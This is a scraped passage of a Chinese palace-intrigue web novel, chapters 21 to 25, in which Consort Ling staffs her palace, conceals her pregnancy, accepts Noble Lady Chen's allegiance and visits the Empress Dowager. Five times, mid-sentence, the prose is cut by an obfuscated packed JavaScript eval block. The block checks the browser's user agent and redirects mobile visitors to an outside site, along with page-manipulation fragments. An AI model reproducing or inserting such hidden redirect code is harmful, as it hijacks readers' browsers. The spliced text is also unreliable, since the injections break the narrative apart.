寿康宫,殿内燃起熏香,谦太妃望向关嬷嬷,“你想博一场富贵?” 在外人眼中,关嬷嬷的举动却是印证这点,不想留在长春宫里,而是奔着储秀宫新封的宠妃娘娘而去,就是想在令妃身边没多少人时抢占先机。 谦太妃能理解这点,当年皇太后身边不知有多少奴才挤破脑袋都想挤过去伺候,人往高处走,水往低处流,关嬷嬷有这心思很正常,只是她帮她一把,总得要点承诺。 “若是哀家日后有所求,还望关嬷嬷记着哀家这份情。” 谦太妃在宫里低调行事,只牵挂着自己那个过继的儿子,她总担心自己那个儿子会做出无法挽回之事。 “请太妃娘娘放心。”关嬷嬷在地上磕了一个头,知道这份情不单是她的,还包括子衿。 宫里没白掉的馅饼,她要想求谦太妃帮她和子衿,这份人情必须记下。 “好,哀家就帮你一回。”谦太妃派人去长春宫说一声,不到半个时辰,关嬷嬷和子衿混在内务府派送过来的奴才之中。 皇后并不在意关嬷嬷另寻他主,或者说,这样一个伺候过永琏却看着永琏病逝的奴才,皇后早就想送走了。 只是关嬷嬷还带上了长春宫一个宫女,她有点在意这人。 刚想问起,冬菊就道:“娘娘,那宫女其貌不扬,又只是汉军旗包衣,这些日子跟关嬷嬷关系极好,她大概是念着这份情才一并带走她。” 皇后轻轻点了下头,左右是个三等宫女,走就走吧。 她注意力还在另一件事上,“你说万岁爷同意了?” “是,娘娘。”冬菊叹了一声,就高贵妃如今的身子,得死马当活马医了,万岁爷怎会不愿意。 …… 储秀宫,魏紫菀一眼就在众多奴才中看见了关嬷嬷和子衿。 一时间喜不自胜,看着一个个奴才上前说自己姓名和身份,等每人都介绍过后,魏紫菀让关嬷嬷留下来。 关嬷嬷比起他人经验更多,这把年纪能留在宫里的,肯定有自己的手段,内务府的公公对此并不意外。 只是当关嬷嬷跟娘娘低语了几句后,娘娘便看向了子衿,那个跟随关嬷嬷一并过来的奴才,好些人心里暗恨,娘娘身边本就有两个一等宫女了,关嬷嬷占据其中之一,本还剩一个,但那叫子衿的反而借着关嬷嬷走后门被娘娘看在眼里了。 僧多肉少,这叫她们怎么不恨! 但恨归恨,她们却是无可奈何的,眼睁睁看着子衿走到娘娘身边,娘娘轻笑两声就将两人留下来了。 往后,便是由关嬷嬷将二等宫女和三等宫女挑挑选选留下来,可这待遇却是截然不同,就比如正殿只有一等宫女才能进去,其他人想留在娘娘身边伺候,难如登天。 这也是为何高位身边一等宫女的身份总被人觊觎的原因,待遇高,还是娘娘心腹奴才的地位,如今后宫凭空降下一个妃位,不知有多少双眼睛盯着令妃娘娘身边人的空缺了,但青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376432|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳和绿萍是万岁爷所赐,关嬷嬷和子衿又仗着谦太妃的插手来到娘娘身边,直叫她们叫天不应叫地不灵。 只得争二等宫女的身份了,是二等宫女也好,总比三等宫女只能干些杂活,一辈子休想被主子看在眼里好。 这选太监一事便交给李公公来。 李公公不负主子厚望选了六个身板厚实,模样老实的,至于是不是背后有人,李祖德心道自己折磨人的手段还没退化。 而选来的四个二等宫女就由关嬷嬷亲自掌眼,魏紫菀统一起了名字,就叫春桃、冬梅、夏竹、秋云,好记极了,都归关嬷嬷管。 如此一来,储秀宫的草台班子算是搭成了,魏紫菀特地留下关嬷嬷和子衿单独谈话。 子衿见到以往的好姐妹身份今非昔比,很清楚两人身份的不对等,娘娘是主儿,她是奴才,不过她知道娘娘惦记着她,不然也不会将她留下来,“娘娘,今后您就仔细吩咐奴才办事吧,奴才在您身边始终不离不弃。” 子衿盼着平静的日子,但是跟在好姐妹身边,她肯定娘娘是会好好护住她的,并且月钱会翻倍,日子比以前好太多了,这叫苟富贵勿相忘! 作为回报,她对娘娘忠心耿耿理所应当。 魏紫菀嫣然一笑,“那本宫就看你能耐了。” “那是自然,娘娘。”子衿语气活泼,一经熟悉了储秀宫,就很快将储秀宫当成自己的归属地,丝毫不带畏惧,摆正自己身份后下意识看向娘娘,“娘娘,关嬷嬷和李公公能帮您打理储秀宫,奴才就专心伺候您吧。” “好。”魏紫菀思忖,青柳和绿萍算是万岁爷的人,能相信,但总不如子衿一直陪在她身边的可信度大,子衿今后就留在她身边,关嬷嬷带着青柳、绿萍打点正殿事宜,倒有条不紊,不出差错。 不过要紧事还数另一件事,她郑重其事抬头询问,“关嬷嬷,你可会字?” 得知自家娘娘不认识字后,关嬷嬷立马走马上任,充当夫子一角,教娘娘识字。 高贵妃可是才女,娘娘要想争宠,这方面绝对不能落下! 22. 第 22 章 魏紫菀并非彻底的文盲,她只是不会古代的繁体字,跟着关嬷嬷学了几天便将一本书的大部分字都记在心里了,但想要达成能跟万岁爷说得上话的学识,还有段距离。 与此同时,她还得学习满语,等学会满语后还得加上蒙古语,尽管从康熙朝之后大清就没有蒙古出身的太后了,但万岁爷不但精通满汉蒙三语,还会藏语和维吾尔语,万一哪天万岁爷兴致来了想用蒙古语跟她交谈,她听不懂就丢脸了。 她丝毫不敢懈怠,关嬷嬷自觉学习这种事得趁热打铁才行,主仆二人就一天到晚待在储秀宫不出去,埋头苦读,一心只有圣贤书。 受此影响,子衿和青柳、绿萍三人也跟着认识更多字了,大抵是因为这种共同学习的经历,三人不知不觉间感情好了许多,不再觉得对方是专门抢占娘娘恩宠的。 毕竟能跟在娘娘身边的宫女只有她们三人,子衿受关嬷嬷影响,被娘娘重视,可青柳和绿萍也不差,一个擅长梳妆打扮,另一个擅长女红和厨艺,各有所长,只要做好分内之事,不争功,她们就还是娘娘身边的好帮手。 子衿还觉得自己本事差太多了,暗暗下定决心跟关嬷嬷学习管家的本事! 至少不能输给青柳和绿萍,让娘娘不后悔将她要到身边!还得坐实娘娘身边第一宫女的身份! …… 储秀宫的沉寂让好些以为令妃作为万岁爷新任宠妃,会迫不及待在宫里大闹一番彰显自己地位的妃子好一顿失望,毕竟没有令妃掀起的浪花儿,看高贵妃的热闹也就少了几分趣味。 但这不妨碍宫妃们眼睛都盯着高贵妃,从起初的兴致盎然,到后来的神色凝重。 不为其他,只因为从宫外来的大夫真的让高贵妃的身子一日胜过一日了。 若是高贵妃身子彻底转好了——那事儿可就糟糕了,这意味着纯妃和嘉妃觊觎的贵妃之位没法空出两个,也意味着皇后担心的事很可能会成真。 咸福宫,高贵妃许久没感受到从身体深处迸发的强健了,“徐大夫,多亏你,本宫身子好多了。” 徐大夫摇头,“娘娘,您的身子是从娘胎里带来的病症,想要根治很难,奴才只能帮您将苗剪断,想要连根拔起病症,只怕得由再世华佗亲自医治了。” 想要治根并不现实,况且他的医术比起宫里的太医并非有多好,而是他胆子够大,敢让贵妃娘娘用些刺激的药方。 高贵妃点头,“你说的本宫都明白,”就她这副身子能治到这个程度算是不错了,只是身子好了,她不由关心起其他问题,“徐大夫,你说本宫这身子,可否生养子嗣?” “这……”徐大夫略带迟疑道:“可以是可以,只是娘娘目前还是得以身子为重,一切等身子养好再说。” “本宫知了。”知道归知道,但半句话都没听进去,高贵妃深知皇后这把年纪还盼着生下嫡阿哥,万岁爷和皇太后都一致认定只有嫡子方能继位,她所出之子,要怎样才能压过嫡子,唯有在皇子序齿上排前面还略微有点希望。 况且多年不曾开怀过,宫里哪个女人不盼着自己能生儿育女,而她还是帝王宫妃,为万岁爷开枝散叶理所当然,皇太后早就对她霸占万岁爷却不生儿育女不满了,后宫妃子少不得对她没法生养腹诽不已。 她身子好了定是要赶紧怀上一个子嗣的。 高贵妃打定主意,自然不会让人轻易否决,徐大夫看见贵妃娘娘不听医嘱,开始喝起便于女子有孕的药,无奈叹气,但高贵妃给的银钱够多,他不管出于保全自身还是为了拿到更多银子,帮高贵妃怀上身孕是势在必行的事了。 宫里这些日子因新人入宫,宫妃们争宠的势头比以往更盛,魏紫菀掺杂其中并不明显。 纯妃、嘉妃、舒嫔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389644|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和愉嫔等人纷纷上阵,高贵妃也一改往日等着帝王过去的作风,积极争宠,一个月半过去,魏紫菀便是在某日发现自己月事未来。 身边人惊喜异常,关嬷嬷拿出自己做的彤册,喜道:“娘娘,算算日子,您确实有可能怀上身孕了。” “奴才恭喜娘娘了!”青柳喜不自胜道。 子衿比她冷静些,虽也高兴,但也怕是空欢喜一场,“娘娘,可要请太医过来?” 魏紫菀想了想,摇了摇头,“暂时别打草惊蛇,况且本宫未必真怀上身孕了。” 尽管心里有这种想法,但她总有种直觉,孩子怕是真的来到她身边了,原身是极其容易有孕的身子,尽管在上辈子成为宫妃的十年不曾有孕,可在开怀后几乎每年都生下一个孩子,短短十年就怀过七次孩子。 除了一次小产没保住孩子,原身总共生下四子两女,最后活下来的只有两子两女,是乾隆后宫生养最多的妃子。 只可惜原身并没有亲自抚养过自己的子嗣,总是生下一个就交给别的宫妃抚养,也不知是母子缘深还是缘薄。 但这次换做她,她绝对不会让任何人抱走她的孩子,是她的,谁也抢不走。 无子的宫妃何其多,既然有子,就是上天赐予的缘分。 门外突然传来交谈的声音,魏紫菀抬头,绿萍禀告:“娘娘,陈贵人求见。” 陈贵人,她记得是万岁爷潜邸格格中的一人,是当今潜邸旧人中位份最低的宫妃了。 “让她进来吧,绿萍,青柳,你们俩在外边守着。” “是,娘娘。” 听到令妃娘娘准许她进去,陈贵人忐忑一天的心思总算安定了。 她心想,若是令妃娘娘愿意接受她的投靠,再好不过,若是不愿,她就在这宫里明哲保身过一辈子。 总不会情况比现在还糟糕了。 23. 第 23 章 当今后宫的一后一贵妃三妃一嫔一贵人,都是潜邸旧人。 其中高贵妃乃潜邸侧福晋,初封就是贵妃之位,身份高不可攀,也受宠极了,娴妃虽不受万岁爷宠爱,但凭借潜邸第一侧福晋的身份,在令妃进宫之前牢牢坐稳妃首。 纯妃在潜邸时就生下三阿哥永璋,在去年又生下六阿哥永瑢,早就稳坐妃位。 嘉妃依靠生下万岁爷登基后第一贵子四阿哥永珹,也坐到了妃位。 愉嫔则是靠生下五阿哥永琪,坐稳了嫔位。 当然万岁爷潜邸旧人不止这些,有生下大阿哥的富察格格和在潜邸时颇为受宠的黄格格,但富察格格在万岁爷登基前病逝,追封哲妃,黄格格同样病逝,追封仪嫔。 所以,有生死潜邸旧人的对比,陈贵人同样作为潜邸旧人,成为宫妃后将近十年都还是贵人,她心里怎么可能一点都不难受。 只是论子嗣论宠爱论身份,她确实都拿不出手,但如今四妃之首换人,令妃作为新进宫的妃子,自是不像潜邸旧人对她防范颇重,不接受她的投靠,生怕她仗着潜邸旧人身份被万岁爷看重从而怀上身孕。 早几年愉嫔跟她同样不受宠,但偏偏肚子争气,生下五阿哥就此成为一宫主位。 她投靠令妃娘娘别无所求,只盼着令妃娘娘能帮她一把,让她有机会坐上嫔位,就算不成,有个主位娘娘庇护,她日子会比从前好过太多。 作为对令妃娘娘的回报,她会知无不言潜邸旧事。 陈贵人的投诚是魏紫菀想不到的,但她欣然接受,“你今后一心一意待本宫,本宫自然不会亏待你。” “是,娘娘。”陈贵人松了口气,转头说起最近宫里的小道消息,“娘娘,您可知贵妃娘娘身子好转了?” “略知一二。”魏紫菀若有所思,本来以高贵妃的身子,在乾隆十年初时就会病逝,在病逝前被封皇贵妃,只是她这只蝴蝶闪动的风太猛,一切都跟原身记忆里的大为不同了。 因此她不会认定一切都按原身记忆里的发展,高贵妃在乾隆十年前可能会医治好身子,也可能会做出别的事。 “那娘娘可知,贵妃娘娘这肚子,会怀上子嗣?”陈贵人摸了一下自己的肚子做示意,同时压低声音。 “你说高贵妃怀上身孕?你可有依据?”魏紫菀并不怀疑这种可能,只是她需要更确切的消息。 “娘娘,婢妾也算跟贵妃娘娘是老熟人了,说句难听的,就婢妾现在的身份,早就跟那些娘娘形如天差地别,婢妾可接近她们,但她们确实不将婢妾放在心里,因此婢妾发现许多旁人不曾发现的事。” 魏紫菀了然,以陈贵人的潜邸旧人身份,确实容易发现某些隐蔽的事儿。 “你仔细说说。” “是,娘娘。”陈贵人心道,她好不容易发现这要事,必然仔细跟娘娘说清楚,“婢妾发现,贵妃娘娘前两日比过往精神许多,以往这个时候是贵妃娘娘来葵水的日子,定是精神萎靡,好几日起不来身。” “你是说贵妃因有孕才没来葵水?”魏紫菀摇摇头,“你这话有些道理,可你别忘了贵妃这些日子被徐大夫调养好身子了,不说百病驱散,但身子骨比以往好确实是事实,她有可能是葵水照常来,但身子强健许多,所以面上不显。” “是,婢妾也想到这点了,只是贵妃娘娘看似处处做好准备了,可她身边人却还没做好准备,婢妾在离开咸福宫之前,窥见贵妃娘娘贴身宫女秋水扶着娘娘起身时,双手有意无意护着娘娘腹部。” 陈贵人说完自己观察到的事,只待令妃娘娘做出反应。 她的能耐令妃娘娘已经看到了,并且那些老熟人一定不会想到她这么快投靠令妃娘娘,还一如既往以为她是从前毫无心计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14398166|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的陈贵人,所以不会防着她。 可令妃娘娘一进宫就是妃位,还是除了娴妃和舒嫔外大选进宫的妃子,容貌比贵妃好,也足够得宠,还是她的主位娘娘,这定是上天的安排,让她遇到了这么一位哪哪都符合她心意的主位。 这样一位可遇不可求的主儿,这足以让陈贵人将全副身家性命寄托在令妃身上了。 因为她知道,她只有忠心可给,若是做了墙头草,那忠心就一文不值了。 魏紫菀若有所思,“本宫知道了。” 她看向子衿一眼,子衿立马会意,拿来万岁爷赏赐的发簪,蝴蝶流苏簪、银镀金嵌宝蝴蝶簪、银镀金东升纹簪和梅花步摇簪——这是置于上层匣子中的。 子衿以为娘娘是要赏赐下层匣子的发簪,便主动打开了下层匣子,那是内务府的奴才送来的妃位首饰,虽然珍贵,但比起万岁爷赏赐,还差了点意思。 陈贵人自然明白这个道理,立马做好了感谢娘娘的姿势,等着接下发簪。 魏紫菀却将下层匣子合上,打开上层匣子,拿出里面的梅花步摇簪,“陈贵人,这是万岁爷所赐,是本宫最珍贵的发饰,本宫念及你对本宫诚心诚意,自然不能拿出内务府送来的东西敷衍你,你戴上试试,看可适合?” 万岁爷所赐自是不一般,但让陈贵人最惊讶的是令妃娘娘一出手就是万岁爷所赐,她方才看见了,只有四个簪子,这物对令妃娘娘是珍贵无比的,但令妃娘娘居然能将其一赏赐给她。 陈贵人双手合并,接过梅花步摇簪,看着簪子上面繁复的花纹,一时间无语哽咽,只得再三感激,“婢妾多谢娘娘。” 以真心换真心,莫过于此了吧。 陈贵人这下一点都不担心令妃娘娘出尔反尔了,还后悔自己没打听得更仔细了再跟娘娘禀告,好在今日没让娘娘失望,也算是不足中的万幸了。 24. 第 24 章 待陈贵人退下,魏紫菀慢慢思及方才谈论的事。 就陈贵人跟她商量的事,确实是极为可贵的消息,倘若高贵妃真的怀上身孕了,这意味着她如果有了身孕,高贵妃就是她最好的挡箭牌。 有高贵妃在前,有谁会在意宫里一个妃位的子嗣,因此她还得瞒着自己的脉象,直到高贵妃有孕之事暴露无遗。 况且在她印象中,在乾隆十年怀着孩子的还有皇后,只要她足够耐心,皇后和贵妃齐齐有孕,那她这胎就更不显眼了,她就怕自己根基不稳时有人对她腹中子嗣下手。 怡嫔就是一个最典型的例子,家族势力不显,进宫年岁浅,资历不足以跟其他高位相媲,所以护不住自个儿孩子。 “关嬷嬷,你说贵妃要是有孕了,着急的会是谁?” 关嬷嬷不假思索,“自然是皇后娘娘,贵妃娘娘毕竟是潜邸侧妃的出身。” 尽管大清入关多年,侧福晋早就是妾了,可在清初,侧福晋和嫡福晋一并被视作是妻,所谓嫡福晋只是家族势力更大的妻,侧福晋生下来的孩子也可被视作嫡子。 虽说这些年大清随中原风气,直接将侧福晋视作妾。 并且当上侧福晋的门槛也不似清初般要求更高,要求是血脉高贵,出身大姓大族,可当今皇上都是包衣奴才、汉军旗等妃子流传下来的血脉,皇位继承人都不注重这些了,还能要求侧福晋身份? 因此在不少满人心中,这侧福晋还似妻子般的存在,倘若嫡福晋实在无子,侧福晋所出之子就是最好的继承人。 当然皇位继承人上要求会更高些,若是有满洲旗妃子所出之子,自是优先考虑,但就万岁爷的这些子嗣,要不是包衣所出,要不是汉女所出,身份上着实拉不开差距,那就只能从皇子生母身份上拉出距离了。 再加上高贵妃是先帝提拔的侧福晋,父兄是朝中新贵,若高贵妃诞下子嗣,确实是最有可能够到皇位的,皇后不急也得急。 魏紫菀慢慢敲定算计,她现在跟高贵妃无仇无怨,但也跟高贵妃没有半分情份可讲,因此将高贵妃推做挡箭牌势在必行,反正高贵妃拿捏原身时也没有过半分心软。 “若高贵妃真有身孕,你说要用什么手段让她有孕之事暴露?” 子衿微微一笑,“娘娘,贵妃娘娘有孕必然是珍重万分,只是腊月将至,宫外忙着各府章程,宫内更是忙得脚不沾地,贵妃娘娘乃一宫主位,肯定暴露一二。” “万事不可笃定。”魏紫菀想到原身总是送给旁人养的子嗣,心里总有种不安的感觉。 况且就算孩子不会交给旁人抚养,依据宫规,阿哥满周岁后就得送去阿哥所,美名其曰避免阿哥随生母生出怯懦的心性,可离了娘的阿哥只会亲近奶娘,而且养活几率大大降低! 她现在最该担心的是怀了身孕后如何保全孩子,以及孩子生下来后倘若是个阿哥,她要怎么让孩子养在她身边至六岁,万岁爷看似对她宠爱,但也只是宠爱。 别的不说,这宫里规矩关乎皇子阿哥这一块,越发严苛了。 殊不知此时高贵妃也还是半信半疑,葵水未来,但脉象又看不出是确切的滑脉,她心神极具不安,半夜老是半梦半醒,终是在一天夜里,随着一声尖叫,寝宫亮起烛火,喜嬷嬷担忧地探着自家娘娘额头,“还好没高热,娘娘,可要叫太医过来。” “别叫,本宫好得很。”高贵妃微微喘了一口气,方才只是她被魇着了,“本宫这么多年好不容易有了子嗣。” 她下意识抚摸着肚子,尽管不知道是不是真的有了孩子,可她直觉是有了! 就在前几日,徐大夫就察觉到她脉象不对劲了,她信自己的直觉。 “等坐稳三个月胎再说,就本宫的身子情形,能怀上这胎是本宫幸运!本宫必须好好护住他” “娘娘,别急。”喜嬷嬷极力安抚自家娘娘。 “你说,要是皇后得知本宫有孕了会怎么想呢?”高贵妃微微眯起眼睛。 “皇后不曾对后宫妃子动手,她能生,地位高,犯不着留把柄给旁人,可如今她失了端慧皇太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411511|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,本宫又有孕了,这可是潜邸侧妃头一次有孕,本宫不得不防!到了年底又是一大堆宫务章程等着本宫定夺,本宫身子操劳不得!” “除非……本宫留在宫里!” 这是高贵妃能想出的上上策了,每逢上元节,皇帝总会摆架前去圆明园,宫妃们伴驾而去,紫禁城随称不上空荡荡,但万岁爷确实会在圆明园待上将近半年,这期间足够她在宫里坐稳胎象了。 …… 腊月将至,天干物燥,但大抵是过于干燥,老天爷飘飘洒洒下了场大雨。 寿康宫,皇太后借着雨水隐了身形,从东暖阁出来,东暖阁北壁木龛供奉着唐卡和佛像,皇太后一向在东暖阁给皇家祈福。 皇后早年丧子,皇帝失去了视作继承人培养的嫡子,不光皇帝心痛,太后同样心疼,况且皇后多年无所出,她本来不抱太大希望了,可去年只比皇后小一岁的纯妃有孕生下六阿哥永瑢,这让太后心里泛起一丝希望,说不定皇后也能有孕。 因此皇太后整日跪在佛像前,日日祈祷,不闻宫中事,如今出来,便听身边人说起这半年来发生的事。 听说皇上突然将一大选秀女封为妃首,皇太后忍不住说了句“糊涂!”,哪有妃子初封就是妃位的,还是四妃之首,但是那女子是大选出身这点还是让皇太后稍稍满意。 如今的高位也就皇后、娴妃、舒嫔三人乃大选出身,多出一个令妃的确不错,起码能拿得出手的高位又多出一个。 “令妃可是个安分的?” 兰佩低声道:“皇太后,令妃娘娘总是闭门不出。” “罢了。”封了就封了,她还能反驳皇上圣旨?只要是个安分的就好,她就当睁一只眼闭一只眼。 “皇太后,贵妃娘娘身子好多了。” “也好,贵妃身子好转也是件好事,省得皇上担心了。”皇太后捻起一串佛珠,老人家念的不多,只盼宫里和乐,皇后尽快有嫡子。 但心愿暂时落空,老人家还挺务实地想着上元节的宴会安排了。 25. 第 25 章 年关将近,很多人忙得脚不沾地。 腊月初一时,皇帝早早定下迎新岁轴上的五言吉语,随后在漱芳斋将一张张簇新的龙笺上提笔写上‘福’字,这写‘福’字也得格外谨慎,得用“赐福苍生”紫毫笔行云流水一气呵成。 万岁爷亲笔御书写下的第一个最为满意的‘福’字贴在乾清宫处,剩下的‘福’字有些赐给大臣了。 当然,那么多臣子,由皇上一人来写‘福’字自然不够,有些‘福’字就由其他臣子代写,只是这臣子代写的,就没有那般贵重了。 皇上亲笔才是福泽延绵的恩赐。 臣子们有份,宫妃们自然不能落下。 皇上将‘福’字赏给皇后、贵妃、四个妃位以及三个嫔位,九碗水端的极平,没有一丝倾斜。 这御笔一开,迎接新年的活动便热热闹闹开始了。 魏紫菀认真将‘福’字贴在寝宫床边,李祖德老早准备了一长串鞭炮,一个手脚灵活的小太监拿着火折子往鞭炮上一点,立马捂着耳朵跑开了,其他人哈哈大笑。 绿萍抓着青柳的手,在旁嘻嘻笑笑,绿萍道:“去年咱们说要寻个好主子,今年果真寻到了。” 青柳眉眼弯弯,“去年心愿实现了,那今年咱们可得好好再许个。” 两人相视而笑,异口同声道:“那就盼着来年主儿生下一个康健的小阿哥吧。” 鞭炮声、笑声和在一起,分外热闹,魏紫菀扶着子衿的手走出正殿,笑道:“今儿是大喜日子,本宫准备了些银两荷包,分量不定,就看你们手气了。” 以往新年是她在家族群里抽红包,现在在皇宫里,她照样能玩一把抽红包。 “奴才多谢娘娘!” 一大群奴才挤在一起,笑哈哈的,十足的兴奋畅快,娘娘出手大方,他们当奴才的也体会到了新年的欢喜。 关嬷嬷准备了一个篓子,里面装着好多鼓鼓囊囊的荷包。 李公公笑眯眯让人排队上来领,尽管新年了,热闹要紧,可也不能忘了规矩让主子见笑话。 每一个领着荷包的太监宫女们脸上极尽欢喜,因为他们发现,尽管娘娘说着分量不定,可他们其中荷包最薄的,也有足足五两银子,娘娘对他们可真好啊。 就连伺候陈贵人的那几个奴才也分到了荷包。 陈贵人头一回见到自己奴才迎接新年前这般高兴的脸面,也跟着眉开眼笑,令妃娘娘真是大方啊,“娘娘有赏,我可不能丢了娘娘脸面,吉珊,过会儿取几个一两荷包,分给大伙儿吧。” 她位份是贵人,俸禄摆在哪儿,因此像令妃娘娘这般出手大方绝不可能,但她到底进宫多年,攒的银子也有些了,在今日当回大方的主子不成问题。 吉珊欢欢喜喜道:“是,小主!” 又过几日,腊月初八时,一大早,关嬷嬷便压低声音让子衿不可吵醒娘娘,子衿点头。 这日,天微微亮,从雍和宫煮好的腊八粥早早送往各宫,送粥的奴才声音有些大,关嬷嬷拿到一小锅粥以后便压低声音将粥放在丽景轩。 丽景轩是储秀宫后殿,面阔五间,但居中的明间开风门,其余四间各有各的用处,一间用做用膳的地方了,偶尔要煎药或是煮汤都在此处。 魏紫菀醒来后喝过腊八粥,剩下的腊八粥按照份量赏给低位妃子,也就是在这时候,她才完全断定自己有了身孕,这是第二个月来葵水的日子过去了,她连续两个月没来葵水,孩子八成是有了。 身边奴才无一不为此高兴,主子好,她们才能好。 魏紫菀慢慢思绪,“李公公,你可打听到咸福宫有什么动静吗?” 李祖德摇头,“娘娘,咸福宫最近沉寂许多,除了请安之时,贵妃娘娘几乎不出门了。” “倘若贵妃能有办法瞒着她这胎,本宫也不急。” 魏紫菀的打算是贵妃迟早肚子大起来,就算不用她算计,所有人目光都会移到贵妃肚子上,而她只需自然而然将孩子护到瞒不住痕迹时,只是这宫里的太医很难瞒下去。 这也是她为何一开始想着如何揭穿贵妃身孕之事的原因,要是她过早暴露身孕,她反倒成为贵妃挡箭牌了。 早年怡嫔有孕却落了孩子,她虽然坐到妃位,但进宫日子还是太短了,不过得亏她班底建立快,李公公和关嬷嬷都是可信之人,这才让她有保住自己孩子的信心。 “只是请平安脉是不可能瞒过太医了,本宫就算想坐稳三个月胎,但想想也知道这件事不可能,所以本宫就算暴露这胎,也得找个合适的时机。” 至于她会不会成为贵妃挡箭牌,贵妃就算有手段瞒过好几个月,往后等肚子大起来时,所有人将骇然发现贵妃身孕之事,到时候,贵妃就是她最大的挡箭牌。 当然,要是贵妃没有怀上身孕,她也得做好万全准备。 魏紫菀打定主意,开始逐一吩咐道:“李公公,你注意本宫膳食和储秀宫进出之人,关嬷嬷,本宫的衣食住行还得由你操心了,青柳,你仔细看着后殿,绿萍,你看着储秀宫妃子,子衿,本宫的周身安全得看你的了。” 魏紫菀站起来,语气郑重其事,“本宫的孩子护住了,你们的日子才有希望,要是本宫孩子护不住了,恩宠就与本宫无缘了,你们就只能随本宫过着暗无天日的日子了,想想怡嫔,再想想本宫,你们应该知道怎么做。” “是,娘娘!”奴才们不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418996|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约而同应声,“都交给奴才吧。” 为了主子,为了小主子,这些日子辛苦些又何妨,况且别的娘娘想怀上孩子还难说呢。 “关嬷嬷,将本宫绣好的唐卡拿来吧。” “是,娘娘。” 自打清楚皇太后最喜求神拜佛,魏紫菀在读书之余不忘复建原身擅长女工的技艺,而用来练手的东西就是唐卡了,唐卡上绣着观音菩萨,绣这东西需要一年以上的时间,她才进宫不到半年,这才绣了四分之一。 但这并不妨碍她拿着这幅唐卡去寻皇太后,唐卡没有完成一点都不重要,重要的是她要拿什么借口接触皇太后。 …… 慈宁宫,皇太后一听令妃求见,也有心想见见这个一见面就让自己儿子封为妃首的宫妃。 “宣令妃进来。” “是,皇太后。”佩兰立马动身给令妃带路,魏紫菀一路目不斜视,来到皇太后跟前依规矩行礼,“臣妾给太后娘娘请安。” “免礼,令妃你坐吧。” “是,太后娘娘。”魏紫菀这才依言坐下,皇太后正眼看向令妃,被其容貌晃了一晃,但很快面无异色,从她为先帝格格时,看到的齐妃、年贵妃,哪个不是容貌极盛的女子。 她顶多就是在看到令妃容貌后,才反应过来儿子为何初封令妃就是妃首,即便令妃家世不显、没有资历子嗣傍身,就凭这张脸,确实能稳坐妃位了。 “令妃,你找哀家有何事?”皇太后语气不急不慢,透着一种空灵的韵味,听说拜佛拜多了的人,身上总是沾着檀香,有神佛庇护长命百岁。 魏紫菀脑海中突然闪过这个想法,但她手中动作不慢,将一幅唐卡展开,“太后娘娘,臣妾初绣唐卡,想绣观音菩萨一画,只是臣妾对此并不十分通晓,绣到这处就绣不下去了,臣妾想到太后娘娘尚佛,必然能看出其中端倪,便想向太后娘娘请教一二。” “佩兰。”“是,皇太后。” 皇太后还真没听过这种求见她的借口,一时间来点兴致,接过唐卡一看,上面女工痕迹很明显,一看就是新手刺绣,但一个新手能绣这么多处,胜在坚持不懈,也算是对佛祖有诚意。 又抬头一看,令妃满脸认真,结合令妃进宫后就紧闭宫门,不结交其他宫妃的举动,令妃给她留下的印象就是貌美却守规矩,她勉强相信令妃的借口了。 